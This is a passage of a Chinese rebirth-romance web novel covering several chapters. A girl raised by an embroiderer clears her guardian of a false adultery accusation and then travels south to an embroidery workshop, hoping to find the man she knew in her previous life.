直到七岁时,她与李远山接触的多了,亲眼看到何为力大无穷,才愿意相信。 许知韵被兰姨护的瓷实,在村里呆了两年多才开始慢慢信任旁人。最信任的除了镇上的邱掌柜,再一个便是邻居李家婶子。 起初,兰姨总是村里镇上来回跑,有些不便时,便将许知韵托付给邻居婶子。 李家婶子快四十的年纪,只得了个儿子,便对软乎乎的女娃子许知韵格外喜欢,照顾的也尽心。 两个孩子差不多一般年纪,玩闹也爱凑在一起。 那年春耕,大两岁的远山哥哥便想带许知韵去看大鱼。 两个娃娃手牵着手,跑到河边,李远山二话不说便脱了鞋下河捞鱼,想让好看的妹妹见见自己捞鱼的本事。 捞的正起劲时,村里庄稼人赶着耕牛来河边喝水,一个不注意,放了缰绳。 这牛便冲着穿的五颜六色的许知韵跑过去了。 待许知韵反应过来时,那大鼻子耕牛就要撞过来了。 李远山飞奔过来,快如闪电,一脚便踹在大黄牛身上,吃痛的大黄牛转移了注意,哼着鼻子冲向踹它的人。 被李远山推向一边的许知韵还没回过神,正要尖叫时,就见李远山一脚踹向牛的前腿,适才威风凛凛的大黄牛当即倒了下去。 眼前的一幕太快了,不止许知韵捂着嘴不敢相信的愣在原地,那大黄牛的主人也没缓过来神来。 许知韵是毫发未伤,可救了她的的李远山被训得狗血淋头,还有倒在那闷声叫的大黄牛,村里的兽医看过了,这牛腿折了不中用了,尽早杀了还减轻些痛苦。 大翎国是不可随意杀害耕牛的,此事便报到里长那。 一脚便踹残一头牛,还是个不到十岁的孩子,这是天生神力,反正十里八乡是这么传的,这不李远山就成了名人。 从那之后,兰姨便不再让许知韵穿颜色鲜艳的衣裙了,不过她多了一个厉害的玩伴。 那时的许知韵同李远山走在一起,总会感觉威风凛凛的。 后来龙口镇上的一户大人荣归故里,为了彰显慈爱,就在镇上办了所学堂,不需要交束脩,只需自己准备书本笔墨即可上学,最重要的是不限男女。 兰姨得了消息,欢天喜地地去准本新的笔墨纸砚。 其实兰姨早早就在家开始教许知韵识字了,许知韵对上学没什么概念。 不过兰姨说上学会有同窗同她一起玩,许知韵便开始向往上学。虽说请的不是有名气的夫子,但教些村里娃娃认字背诗还是绰绰有余的。 兰姨在许知韵上学这件事上表现得很积极,不仅劝说李家婶子让李远山去上学,还亲自去学堂看了看夫子。 兰姨让李远山读书是存了心思的,她觉得李远山这孩子老实憨厚,与许知韵一同上学能护着些。 巧的是隔壁李家婶子也存了心思,虽说没指望李远山有啥出息,不过能识得几个大字总是好的。 再一个,打心底里瞧上了许知韵,白净的小女娃谁不喜欢,越看越觉得当儿媳妇好。 除了一些节日、春耕秋收,许知韵都会和李远山一起做伴上下学。原本兰姨不放心,总会悄悄地跟在后面。后来看到村里的孩子们会一同走,李远山确实在护着阿韵,便放心下来。 十里八乡的老百姓都晓得,这李家小子力大无穷,别说是头牛,就是头老虎也是立马能撂倒的。 只要李远山在身旁,还真是没人敢招惹许知韵。 镇上考功名的男娃不会来这所学堂,故这里的孩子并不多,女娃更是少之又少。即便不要束脩,书本对于村里农户来说,那更是贵得要命,太少的村里人会让自家女娃来上学。 乡下孩子不在意男女大防,总是一起玩耍的。不过学堂先生有些讲究,便在中间摆个矮屏风,将男女隔开来。 女娃这边就三人,许知韵,村里的赵欣儿,还有一个是镇上卖白酒家的王花琪。 赵欣儿是家里唯一的女娃,家庭富足又会讨他父亲喜爱,脾气跋扈些。 她自认为在文兴村,她是最受宠爱的女娃,是唯一一个能上学的女娃。可没想到开学的第一天就看到同村的许知韵,那个无父无母被一个绣娘养大的孩子。 并且村里人都夸兰绣娘将孩子养得好,白白净净的招人喜欢。村里人没夸过自己白净,总说赵欣儿有福气相,不就是说她胖吗。 没父母还能上学,赵欣儿不想与这样的人一同玩就拉着镇上的王花琪一起玩,总是孤立许知韵。 偏偏许知韵不在意,她有一个脚踢黄牛的厉害哥哥就够了。 玩伴不在多,在于魅力。譬如李远山,他的名声镇上都知晓,一群孩子在他后面做小跟班,山哥长山哥短的叫,李远山又听许知韵的,最后许知韵混得像个头目似的。就像兰姨说的,上学的日子是愉快的。 这 7. 鸳鸯帕 《稻花香里说丰年》全本免费阅读 窗外的天透着阴沉,冷风一圈一圈转着,似要将天地搅在一起。 雪还是未下,耕种久的老人便道年头不好,怕是来年雨水不丰。 许知韵暗暗道,还是老马识途,经多见广。来年大旱,稻苗不长,苦的还是底层的老百姓。 可自己人微言轻,若说明年会有大旱灾,旁人定会斥责她,小娃娃竟乱说话。以自己目前的处境,也只够自保而已。 去南临的日子定下来了,三日后便启程。 两人住了多年的院落空空荡荡的,兰姨是把能换钱的物件都卖了。手里留些银子,路上以备不时之需。 同邱掌柜说好的,出发前要将手里的活计做好,兰姨绣好便准备送去。正好许知韵想买些瓜子果脯当零嘴,省得路上寂寞。 风一阵阵呼啸,为了早些回来,两人分工,一人去绣坊送绣品,一人买吃食。 在镇上呆久了,也就清楚。哪家铺子缺斤少两,哪家铺子实诚东西又好。 许知韵熟门熟路地进了北边巷子最里边的周家铺子,他家老板心实,瓜子花生不掺假。买了两包葵瓜子,三包果脯,一包花生糖,就差不多了,手头还真是拮据。 一出铺子,差点被风刮走,风婆子像是发了疯,张扬的跳着飞舞着。 买好吃食的许知韵加快脚步,去绣坊找兰姨。 快到绣坊时,嘈杂声阵阵。人群将绣坊围了个严实,平时生意好也没见这么多人。 心里顿时不安起来,许知韵一层层扒开人群,就看到蓬头垢面的兰姨被邱掌柜护在身后。 她们的对面,是这条街上卖酒的鲁大娘,也是同许知韵在一个学堂上过课的王花琪她娘。 王花琪性子软弱,总跟在赵欣儿屁股后面,让她做什么就做什么,哪想到她的母亲是个泼辣的。 “贱人,不要脸的。不知道打哪来的寡妇,惹了事,在哪呆不下去了跑出来的,会绣个花啊就勾引我男人,呸,不瞧瞧自个什么玩意儿...”趾高气扬的王大娘不停地咒骂,即便被身边的婆子拦着,脚还朝着兰姨所在的方向踢去。 像是一场捉/奸大戏,围着的路人喁喁私语,指指点点。 看样子鲁大娘是来算账的,显然是哪出了问题,将勾引男人的屎盆子扣在兰姨的头上。 兰姨的衣衫被拽的皱巴巴,出门前簪的木头簪斜挂着,青紫色的脸挂着泪,努力地摇头分辨着“不是我。” 她声如蚊蚋,淹没在鲁大娘的咆哮中,毫无一点作用。 “啪!” 许知韵没有任何犹豫,推开人群看到兰姨受的委屈便忍不住,一个健步上前一巴掌拍在鲁大娘脸上。 霎时间,一切静止。 发生了何事? 这丫头是,是兰绣娘养的那个不明不白的孩子。 没想到,平时见着斯斯文文的姑娘,胆子大又粗鲁。 瞧着李婶子脸上的巴掌印,这小姑娘手劲还不小。 “你、你...我跟你拼了。”反应过来的李婶子,狂躁着冲向许知韵。 绣坊的管事和小厮紧忙上前拉着怒火中烧的鲁大娘,这婆娘的力气忒大。 原本今日看到丈夫偷藏着一块手帕就生气,质问他还不说谁的,看那帕子上绣的鸳鸯格外精致,想着定是隔着不远那家绣坊的手艺,哪个下贱妖精作死来勾引自家男人,拼着老命也要找个说法。 仔细瞧了瞧帕子一角绣了个“兰”字,立马跑来找邱掌柜,让她把姓兰的叫出来。 一想到兰绣娘是孤身一人,自是不想忍耐漫漫长夜,姓兰的本就少,又是个有好手艺的,便认定送手帕的人是她。 上去就拳打脚踢,还没出够气,就被她养的小杂种打了,街里街坊全看着,这老脸往哪搁。 “够了,还不丢脸吗?”看着要冲过来的鲁大娘,许知韵冷着脸大声斥责道。 这种欺软怕硬的人,瞧着兰姨势单力薄的,不分青红皂白就动手。 “一个老贱人,一个小贱人,你们这些个招蜂引蝶的破烂货还要脸吗?”被拦住的鲁大娘伸着脖子,冲许知韵喊道。 “劳烦乡里乡亲去报官,平白诬了人打了人也是能定罪的。”嘈乱中,许知韵提高了嗓音,大声道。 “小贱人,谁不知道你们官府有人,不准报官,官府定是向着你们的。”才反应过来鲁大娘心道,这兰绣娘哪是无依无靠的,不还有个官府的人撑腰吗,这事...坏了。 许知韵接着道:“我与兰姨相依为命,谁人不知我们没人脉背景的,官府哪有我们的人。” “不就是...你自己心里清楚。”鲁大娘转着眼珠心里想着幸好没说出口,毕竟是有官职的,惹不起,“我们都知晓,你还想骗谁啊。” 这话一出口,周围熟悉的邻里都知晓,兰绣娘早被人看上了,是县衙里的潘教谕,那可是知县面前的红人,家里还有不少祖产的。 打一前年,他的妻子病死后,便拖媒婆找上门过,想让兰绣娘续弦。 可兰绣娘以养恩人孩子为由,打发了好多次了。 自古老百姓就怕当官的,当下这种情况只好将潘教谕搬出来,让糊涂的鲁大娘清醒一下。 “鲁大娘这会儿又醒着了,兰姨当真会给你家相公绣帕子吗?”许知韵适时道,“鲁大娘卖酒时是机灵的,怎的抓人的时候便这般糊涂了呢?” 许知韵的话再次提醒着鲁大娘,潘教谕即便四十多岁了,但人长的干净,平日里笑呵呵的,还是官身,总比自家相公好,这下鲁大娘也有些生怯。 虽说心里犯嘀咕,但鲁大娘仍不依不饶道:“可那帕子上绣的“兰”字,就是兰绣娘啊。这是赖不掉的,到官老爷面前我也是这般说。” 与适才的咆哮不同,这几句话声小多了,一听就知心虚了。 许知韵镇定地理了一下袖口,接着道:“大家伙儿都不是第一天认识,秉性脾气多多少少都有所了解。若兰姨真想找个依靠,为何要找个有妇之夫。” 也是,兰绣娘模样不错,还是风韵犹存的。 鲁大娘的相公肥头大耳的,可是比不上潘教谕。 许知韵这些话一出口,围着看热闹的人讨论起来,有那看热闹不嫌事大的更是直言开口。 “是啊,人家姑娘说得对。你家那口子油腻样,可跟人不配啊,大家伙儿说是不是啊。” “鲁大娘,搞错了吧。” “原是乌龙啊。” 看着围观的讨论,王大娘 8. 去南临 《稻花香里说丰年》全本免费阅读 不可小瞧流言蜚语,会如野草一般,不加以控制,遍地生长,慢慢地爬满整个山头,心思细的人会栽在这上头一辈子。 今日若找不出栽赃之人是谁,一日就不能还兰姨清白,邻里会将兰姨认定为最大嫌疑人。 栽赃之人在绣样上动心思,却忘记了自己动手脚时,身上的味道沾染在帕子上面了。 适才将帕子拽过来时,就闻到淡淡的花香味,似乎是玫瑰花露的味道,前世倒是用过。 许知韵安抚着兰姨,又轻轻地拉着兰姨的手走向鲁大娘,兰姨不明所以,心里害怕但还是相信阿韵。 “鲁大娘,想来平时卖酒,鼻子是好用的。”许知韵将手里的帕子递到鲁大娘的眼前,晃了晃,接着道:“可闻出来了。” 鲁大娘鼻子可是灵的很,当小丫头拿帕子的手伸过来就闻到了——花香味,之前就闻到了,狐狸精的味道,有甚可闻的。 撇了一眼鲁大娘,她满脸的疑惑,许知韵不得不再说明白点:“鲁大娘闻闻兰姨身上,与这帕子是同一种味道吗?这帕子沾染到玫瑰花露的香味,必然绣帕子的人身上也抹了玫瑰花露。” 鲁大娘被许知韵牵着鼻子走,对着兰姨上下嗅,像只巡视地盘的狗,又仔细闻着拽过来的帕子,是不同的。 “兰姨身上只有皂角香,可没这帕子上花香味,我们家节省,用不起玫瑰花露。绣这帕子的并非兰姨。” 旁边有些凑热闹的婶子,都凑过来闻帕子,又去兰绣娘身上闻闻。 兰姨有些窘迫,但晓得只有这样才能洗脱冤屈,便凛然地直了直身。 许知韵说着话时,便紧紧地盯着绣坊的绣娘们,有冷眼旁观的,有暗自高兴的,有真切关心的。 前世便清楚的一个道理,离你越近的人越可能不是人。 周围的婶子大娘嗅的认真,解释的也不敷衍。 “的确,这味不一样。” “兰绣娘身上是皂角香。这帕子上像勾栏院里的香,是不是啊。” “浓郁的花香味确实是玫瑰花露,这明显不同的味还是能闻出来的。” “玫瑰花露贵着咧,要一两银子的。可不是谁都能用得起的。” 还没等大家伙议论完,站在绣坊大门旁的绣娘刘芝脸色发白,急忙转身想走。 一直盯着那边,看在眼里的许知韵,想着终于现形了。 “刘芝姐姐,怎么不看热闹了,脸色怎得不太好,是不舒服吗?”许知韵使了全身力气大声喊到,想让围着的人都听到。 被叫住的绣娘刘芝猛然愣住,转身刚想解释着急去净房。 许知韵可不想听她狡辩,耽误时间了,既然她不仁,便别怪别人不义。 转头给了鲁大娘一个眼神,示意道:“不知刘芝绣娘买没买过玫瑰花露,平时用不用。” 被提点的鲁大娘顿时清醒,三步并两步,把平时搬酒的力气用上,一把将人拽到人群中间,便凑上去闻,随后一巴掌呼在刘芝绣娘脸上。 这一巴掌跟许知韵的力道可不一样,就算许知韵再用力,也是个不干重活的丫头,可李婶子不同,出力干活的婆娘力气大着呢。 刘芝绣娘白嫩的脸上,顷刻间肿了起来,印着清晰的巴掌印,眼底的泪决堤般涌下。 可这还不算完,鲁大娘可算找到发泄的人,上去拳打脚踢,将受到的委屈全发泄出来。 邱掌柜还想着,如何解决能让绣坊少受些影响。没料到许知韵手挺快的,将帕子抢了过去。 心里还在嗔怪着,又提到玫瑰花露,转头又说起刘芝,紧接着又闹了起来,真是一个头两个大。 终是缓过神的邱掌柜赶忙吩咐店里管事小厮过来拉架,场面一度混乱。 许知韵将身边的兰姨抱住,紧紧地抱着哭到发抖的亲娘,这一世还好,这样的委屈我们没认下。 厢房的炭笼里,热炭烧的通红,坐在杌子上的兰姨与许知韵,伸出冻的僵硬的手。 暖意顺着双手,丝丝涌进心底。 鲁大娘逮到刘芝绣娘后,许知韵就领着兰姨进了绣坊,帮兰姨净面,整理妆容。 外面是何情况,邱掌柜如何处理的,此刻的许知韵不想知道。 强硬找出刘芝绣娘,没顾及绣坊的名声,也没顾及与邱掌柜的情分。 许知韵做好了准备,绣坊怕上不能继续呆下去,搭绣坊的车去南临这事也黄了。 只好另想办法了,南临定是要去的,只是缺些银两,抓紧时间再绣个大件屏风也是能凑出来。 烤着火的双手,突然被兰姨握住,思虑着的许知韵回过神,抬眼望向担忧的兰姨,安慰道:“兰姨放心,我好着呢。” 兰姨点了点头,眼角的泪不争气的落下,她后悔了。 她的孩子本应在富贵窝里长大,锦衣罗裙山珍海味享福的,却跟着自己受了多年的清贫,如今还要受这冤气。 一个未及笄的姑娘,抛投露面解决这丢人的事。 兰姨此时恨死自个了,心里痛的拧劲。 “吱呀”门被推开,邱掌柜面带着笑意,端着托盘,托盘上有几个馒头并两盘小菜。 “耽误到这个时候,饿了吧,快吃些。”邱掌柜热络地道。 出乎许知韵的意料,兰姨也不安地看着许知韵,终归是做的事逆了邱掌柜的心思。 看着面前疑惑的两人,邱掌柜痛快地道:“这事是刘芝不厚道,与你们无关的。原本定的人里有她与小她两岁的妹妹,两个姐妹感情好些,想着今年都去有个伴。” “刘芝的妹妹叫刘倩,也没来多久,看姐妹俩平时做事挺灵巧的,哪知是个坏心的,我都许了刘倩明年去,姐俩还这般急,存了这下作心思。还弄出这事,闹得绣坊丢了大脸。” 没成想秋掌柜一句没隐瞒,倒豆子般全说出来。 许知韵心底还是没确定邱掌柜的意思,兰姨也不作声。 邱掌柜安抚着道:“阿兰,受委屈了,怪我没看顾好底下的人,你与阿韵还照原定的日子去南临,别让这等子事影响了心情,我还等着阿韵学成回来帮帮我呢。” 兰姨急忙回道:“怎么能怪你,这么说让我怎好意思,这么多年,拖您照顾我才活得下去。” 说完兰姨的眼泪便流了出来,兰姨哪会演戏,真心地感谢邱掌柜,这世道女人总会帮着女人,都晓得女子的不易,才会帮着搭把手。 许知韵向邱掌柜躬身行礼:“今日,阿韵做的不好,给邱姑姑道个不是。” 邱掌柜立马过来扶了扶,真切道:“傻孩子,我怎么会怪你,这是你有情有义,才会这般出头,这要是我闺女,我就烧高香了。” 转过头向兰姨道:“这孩子,你可没白养。生怕你受委屈,阿兰还 9. 雁绣娘 《稻花香里说丰年》全本免费阅读 离南临越近,许知韵的心跳得越快。应了那句——待见君时心已慌。 可这一世高高在上的贵公子是不认得自己,如何才能搭上话呢?毕竟前世对他有救命之恩,他才有耐心与自己多说几句话。 总不好直说——元硕北,我们上辈子认识。矣,这般说会被打吧。总归是会见到的,只能到时再说。 许知韵下意识的摸了摸心口,前世心口中的那箭,总是莫名地疼,杀千刀的陈子良,幸好用袖箭杀了他,不然心口不仅疼,还憋得慌。 往南走,绿意渐浓,离奉京远了,心情大好。 窗外的草木仍旧展现着生机,让人看了也是神清气爽。 早已醒了的兰姨细细打量着阿韵,清秀的脸上可算有点笑容,柳眉弯弯,一双如秋水般的灵眸清澈明亮。 阿韵开心,她也开心。 叩叩叩,马车似乎停下了,车外的周大娘敲着马车:“到瞿县了,几位下来松快松快。” 本就醒着的许知韵,听到声立马扶着兰姨下马车,双脚踩在土地上,整个人踏实又轻松。 兰姨被紧赶的行程折腾的不成样子,强支撑着身子被扶下车,深深地叹了口气。 瞿县算是这一路上路过的,最大最繁华的县城了。 绣坊跟车来的是程管事,她办事稳妥,提早就在客栈定好了房间,几人梳洗休息一下。 程管事是极忠心的,打邱掌柜爹娘还在世时,便跟在成衣店当学徒。 老两口对她多有照顾,在邱家经历了一系列波折后,她也未曾离开,仍然陪在邱掌柜身边,细心地照看铺子,照顾邱掌柜。 人心都是肉长的,邱掌柜更是将程管事当亲姐姐对待,给她买房买地,也是最信任的。 送绣娘去南临,不能白跑一趟,还要买些衣料布匹回去。最重要的是南临水运便宜,一些稀奇的物件玩意多,买一些用来年节送礼是极体面的。 再说同行赶车的也不是一般的车把式,那是程管事的丈夫,平时也是在绣坊做采买的,跟着来也算是压车的。 两口子既得了邱掌柜的如此信任,办事更是尽心。 程管事又安排了一桌饭菜,又添了一锅鸡汤,毕竟还有小一半的路程,吃好一些有力气赶路,要是让几位绣娘生了病就不好交差了。 几人围着桌子坐了一圈,简单客气了几句,便开始动筷了。 对于连着几天吃干饼子的人来说,这顿饭堪比满汉全席,实在是美味。 兰姨顾不得自己,连忙给许知韵夹菜,不一会许知韵面前的碗就摞起来了。 许知韵刚想劝兰姨,坐在对面的孙绣娘嘲讽道:“哟,瞧瞧,不知道的还以为咱们是逃荒来的呢。” 孙二娘,年纪不大,二十岁出头。有双巧手,虽是双大手,被村里人说是干农活的好手,不想学起女红才叫厉害,大手更巧,又有张巧嘴,能说会道的,哄的邱掌柜事事说她好。 得了邱掌柜的赏识,已经连着两年去南临,平时在绣坊就是拿下巴看人。 她这话说的不客气,吃饭的几人都愣住了,不好说些什么,程管事更是装作没听见。 孙绣娘看旁人都没搭腔,“哼”了一声,继续用起饭来。几人都不傻,孙绣娘是得掌柜赏识,可这兰绣娘毕竟是绣坊老人,眼下谁都不得罪是最好的。 接下来饭桌上尤为安静,兰姨一心想着许知韵,怕她吃不好,没想到会被人说道,脸涨红着趴着碗里的饭。 出门在外,不好和同行人起冲突。许知韵更是不想惹出什么事,只想安全到达南临。 将碗里的菜夹出一些,送到兰姨碗里,另一只手在桌下拍了拍兰姨的胳膊,兰姨看着许知韵冲自己笑,心烦瞬间消散,阿韵好她就好,旁的一点儿不在意。 越往南走,天越发炎热。 兰姨也将夏衫拿了出来,给许知韵换上。脱下厚重的冬袄,身上松快多了,连日的疲惫也轻了不少。 一行人继续赶路,程管事将带来的几个壶都灌满了水,又买了些饼子。 每趟出行,邱掌柜都会嘱咐,吃喝一般就好,不要太惹眼了,怕那山匪来抢。 出了瞿县,行人渐少,车赶的也快些了。吃过饭后,在马车的摇晃下,昏昏欲睡,许知韵也阖起眼儿。 两辆马车一前一后行驶在官道上,前面的马车里自然坐着程管事与孙绣娘,还有一个替了刘芝位置的萍绣娘。 孙绣娘自然不与许知韵一辆车,她与刘芝绣娘算是同乡,关系亲近些,刘芝绣娘被解雇,在绣坊里,孙绣娘少了个巴结的同乡,自然看兰姨与许知韵不顺眼。 这不,刘芝被解雇,去南临空出来一个位置,她与邱掌柜说了好些好话,才安排了另一个同乡萍绣娘顶上来。 后面这辆马车里坐着许知韵与兰姨,外加雁绣娘。这雁绣娘能来南临,私下都说她偷摸给邱掌柜好处了。 盖因雁绣娘初来时,绣技只能说是一般,只是勤勤恳恳些,话不多,平时老实本分的做自己的事。 吃绣娘这碗饭,本事若是不行,得不到掌柜的认可,旁人更是轻视你,便是得不到尊重的。 都是看眼色行事的,邱掌柜不重视这个新来的,大家伙儿便对她冷漠起来,凡是重活累活,全支使她来做。 虽说不是人人都欺生,但大多数人都当看不见。 兰姨总归是心善的,但也不想惹人眼,只偷偷地帮着雁绣娘做些事,在针线上也多有提点。 陌生的地方,一旦有人对你好,心里是暖的,雁绣娘心里也是感激兰姨的,可她的话太少,沉默的像石头,更不会奉承谁。 许知韵也是很久之后,才知晓她是邱掌柜的堂妹。 就是在邱掌柜落难时,托人稍银子过来的那个婶娘家的孩子,送来绣坊学本事的。 邱掌柜是无儿无女的,是她去信让这个堂妹过来的。邱掌柜有意让这个堂妹来接班的,绣坊的人后来才知晓。 邱掌柜没给大家介绍,是想瞧瞧这个接班人的品性如何,是考验她的,没想到把几位绣娘考验住了。 这消息传出来,激起千层浪。 曾经有意无意欺负雁绣娘的人皆傻了眼,便开始见风使舵起来,频频像她示好。 可这雁绣娘并没有趁机报复回去,依旧老实本分的做自己的活计。 前世即便那时,兰姨与许知韵已经不在绣坊,去奉京好久了。绣坊那些欺负人的绣娘私底下却说兰姨心眼多,怕是早知晓内情,故意不告诉旁人的。 欺负人的这伙人,为首的就是孙绣娘。 ——— 眼前绿意盎然,山青水秀,望着那山那云,似在眼前,南临的风景果然怡人。 就这样安稳地过了几日,日盼夜盼的南临终于到了,好在一路顺利。 马车从主道路过,繁华的街道,车水马龙,叫卖声不断,熙熙攘攘好不热闹。 南临,吴记绸缎庄。 占地比龙口镇的绣坊足足大三倍不止。三层的楼,建造的磅礴大气。 马车没在正门口停下,绕过楼转向后面的巷子里停下,几人匆匆下了马车,穿绸缎的小厮在角门前弯腰请几位绣娘进门。 几人跟着程管事的后面,走了一段路又过了垂花门。 一个三十多岁妇人打扮的娘子,笑盈盈走过来,拉着程管事道:“好姐姐,你可算来了,我这清点库房的功夫,你就来了,可别怪我没出 10. 一品斋 《稻花香里说丰年》全本免费阅读 温婉细腻的风轻抚着草木,暖阳透过枝叶,斑驳的光影撒在地上,吴记绸缎庄各处有条不紊的做着工,一派祥和。 绣架前,绣娘们素手盘丝劈线,或是运针如笔,或是上下翻转,动作优雅,似一副水墨画画。 在许知韵她们到后第二日,又从北边柳平镇来了几位绣娘,大家伙儿一样都是来学新技艺的。 从北边来的绣娘们跟着老师傅学了半月有余。 老师傅很是满意,这些绣娘具是成手,教起来学得又快又好,十四岁那个最小的绣娘更是有天赋,一天一个样,照这样下去过不了多久这技艺就超过自己了。 前世的许知韵先是跟着兰姨学好了女红的底子,后来回到许府,许良友竟请来刺绣大家展凝来教她,得到了她的真传,眼前老师傅教的新绣法,新样子对她来说不在话下的。 为了不展现出高超的绣技,许知韵只能藏拙,绣的一段疏一段密,隔几日再进步一点,这样糊弄着,倒是得了几句夸奖,被夸有天赋。 兰姨最为高兴,之前看到许知韵绣的双面绣心里疑惑着,也没教过她怎就会了,如今看来是真真有天赋,有这吃饭的本事,往后的日子会更好过些。 可许知韵却发愁,没想到绸缎庄管的甚为严格,严禁她们出门的,来了半个多月了,绸缎庄的大门还没出过。 进了绸缎庄,好比那高门大院的姑娘,真是大门不出,二门不迈的。 绸缎庄的东家怕这些绣娘出个意外,毕竟是在自己的地盘,若出事也是有责任的,便干脆把人都拘在一起。 这样才省心,他倒是省事了,可愁坏了许知韵。 原本就不是真心来学绣活的,这下出不得这绸缎庄,何时才能去见元硕北。 午饭后,绣娘们会歇半个时辰。 有的绣娘会小憩一会,也有绣娘去寻角门守门的小厮。 小厮姓楚,在家排行老三,长此以往就都叫他楚三,不到十岁,父亲是绸缎庄的小账房。 楚三打算盘不行,做些小买卖倒是灵巧。看每年都有北边的绣娘来,就想着守门时给绣娘姐姐们代买些城里的小物件,收几个大钱当跑腿费。 绸缎庄的管事也是应允的,绣娘们买些脂粉绢花,找楚三更便宜,楚三还能赞几个大钱买糖吃。 这个楚三,是许知韵唯一能与外面接触的人了,所以许知韵总会找他买些东西,套套话。 “许姐姐,老牌坊街新出个芝麻饼,老远就能闻道,可香哩,不尝尝么?”守门的小厮瞧见许知韵,就像个铺子老板在叫卖。 大多数的绣娘,喜欢南临的胭脂绢花,今年来个小绣娘最喜欢吃食,果子肉脯小糕点。 因年纪在一众人中最小,楚三便叫她许姐姐。 一听小厮老远就招呼许知韵,几个绣娘就捂着帕子笑。 许知韵平时话不多,偏是问吃食时话就多起来了,问那锅盔里是枣泥的,还是果肉的。比平时问老师傅甚个针法还仔细。 这爱吃喝的孩子,怕是没心眼的。绣娘们就不在意老师傅夸不夸奖她了。 楚三最喜欢替许知韵捎东西,因着是吃食,许知韵大方地每回都会分他一些。 一直替绣娘们买个脂粉啥的,为了能不买错,楚三只好费心去记颜色味道。可给许姐姐捎东西就不用记,全是自己爱吃的。 两人还时常就哪家的糕点甜不甜,糕点颜色好不好看,来分析卖的是否贵了。 渐渐地,楚三都会主动问许姐姐,哪怕离得再远,也要将新鲜的点心买回来。 许知韵被小厮询问,略略想了想,便从荷包里拿出十几个大钱,道:“好,那便尝尝吧,麻烦楚三了。” “不麻烦,不麻烦,明儿个这时候就送过来。”楚三乐呵呵摆着手,明个又有芝麻饼吃了。 用过饭后的许知韵到凉亭里看小池子里的鱼,与愁绪满身的许知韵不同,鱼儿不知烦恼的游着。 思绪回到过往,上一世,硕北隐藏了真实身份,用的是南临首富何锦之子,何石的假身份。 何锦,生意做得很大,遍布大翎南北,还握着几条航运线,开了金银铺当铺更是遍地,何氏钱庄更是有名。 一品斋便是他名下的产业,与楚三研究吃食时,会故意拐到一品斋。 “这一品斋的枣泥糕甚是好吃的,想来一品斋家的公子小姐是享福的,不花钱就能吃到。”头次说道一品斋时,许知韵就是这般问的。 楚三连讨好夸奖带着嘱咐道:“还是姐姐会吃,谁都没姐姐的舌头灵。那一品斋的老板是顶顶有名的富商何锦,家里的碗筷都是金子的。” “可是啊,老百姓说他是奸商,挣了不该挣的钱,孩子都没有,连个小丫头片子都没有,姐姐出门可别乱...” “怎会。”许知韵震惊地打断了楚三,“这样富裕的人家,定会有儿子的,怕是你不知晓。” 楚三怕许姐姐不信,特意郑重地道:“我还能骗姐姐不成,这事整个南临都知晓的,那富商不是个花心的,只娶了正头娘子,一个妾没纳。夫妻俩往那送子娘娘庙送的娘娘像都是金子做的,那可是金子呀。” 许知韵狠狠地捏着双手,听着楚三又道何家花了多少银钱去求子,请了多少个大夫...不过后面再说些什么,都不重要了。 楚三常混于街头巷尾的,他说的话许知韵是信的。 何锦无儿无女?怎和前世不同,明明元硕北顶着何家长子的名头,才会挥金如土,养着暗卫,私下养着军队。 难不成硕北换了个身份,他身后的人有更好的身份来掩护他。 可许知韵一直认为,富商何家的长子,这个身份最好不过了,活跃于众人眼前,越打眼才越安全。 为何会变,自生辰那日起,周遭一切都没变,只是自己在改变,他为何会变。 得了这消息,许知韵整夜睡不好,睡着后也是噩梦连连,不出几日便瘦了许多。 别人瞧不出,可兰姨看出她的阿韵心里有事。 阿韵慢慢长大后,询问父母时,兰姨就一遍一遍的讲恩情, 11. 遇月瓷 《稻花香里说丰年》全本免费阅读 绣娘们欢欢喜喜地进去采买,许知韵还是装作老样子,一脸对糕点的喜爱,对着粗使婆子道:“婶子,那一品斋在何处,我在这都闻到香味了。” 说着把几个大钱塞进婆子手里,那婆子知晓最小的绣娘是嘴馋的,拿了大钱热情地指路:“姑娘不仅手巧,鼻子也灵,沿着这条街到头右转就是,一品斋的门面大着咧,抬头一眼就能瞅到。” 许知韵颔首道:“这样近,我对那脂粉不感兴趣,让姐姐们细细挑罢。兰姨带我去买些点心,也给婶子带一份,婶子可要跟我去瞧瞧喜欢哪种。” 粗使婆子一听,面色有些纠结,她是不想同去的。 要说带路是东家交代好的差事,可是单单陪许知韵去一趟,最多得到一包糕点几个大钱。 瞧着许姑娘和兰绣娘衣着打扮太普通,鬓间发簪不是银的就是木头的,定是拿不出太多银子赏人的。 可这群其他的绣娘中,有那富裕的,出手也阔绰。现下离开她们去陪个娃娃,真是不划算。 正在那纠结时,许知韵似难为道:“倒是离得不远,若单叫婶子陪着去,怕是姐姐们会不乐意,不若我们自个儿去,若是和婶子走散了,我们就先回绸缎庄。” “好好好,还是姑娘懂事,又聪慧。这几条街都是热闹的,还有那巡视的大头兵,安全的很,姑娘可别走远了,早些回。”婆子赶紧就坡下驴,心里连连高兴。 兰姨自然点头答应,本就看不上孙绣娘,一脸的财大气粗样,出门倒是阔绰了,在家里时买些肉都要想想的。 甩脱了婆子,才觉得放松些。想去的地方终是能去了。 “阿韵,一会看到喜欢的多买些,贵些也无妨,这些日子瘦了好多。”这几日许知韵心事重重的样,兰姨确实有些心疼。 许知韵一面应着,一面加快了脚步。 一品斋门庭很大,金漆红匾,来来往往的客人很多,位置选的很好,紧挨着的一家酒楼。 整条街的香,能把肚子里的馋虫引出来。 许知韵忙要迈进一品斋,后面跟着的兰姨,盯着旁边的酒楼思虑着,该买些酱牛肉给阿韵补补,不能老吃那点心。 “阿韵。”兰姨忙叫住急不可耐往里走的馋丫头,“不要急,慢慢走,多挑些,我去这家店买些酱牛肉,你买好就在店门外等着我。” 看了眼兰姨指的店,面上笑着点头,心里又松了一份,可以正大光明的问了。 琳琅满目的柜台,摆满了各式点心,穿着同样衣裳的伙计,有条不紊地忙碌着。 “姑娘,可要装些新出炉的白糖糕。”一伙计看到人进来,迎了上去。 “我瞧着哪样都好。”许知韵四下张望着。 “姑娘可先尝尝,再定下买哪样。”伙计说着便领着许知韵往里走。 桌上几个食盒,摆着店里的各式糕点,每块糕点皆被切开几小块。 伙计示意许知韵可以尝尝。既然让品尝,许知韵便不客气了,尝了几样道:“你家怪不得生意好,这里每一个味道都好。” 听到夸奖,伙计也乐于显摆:“我们的大厨可是东家花大价钱请来的,怎能不好。” “你家东家是厉害的,东家的孩子也是运气好的,日日都能吃上。”许知韵顺着伙计的话,将自己想要问的也说了出来。 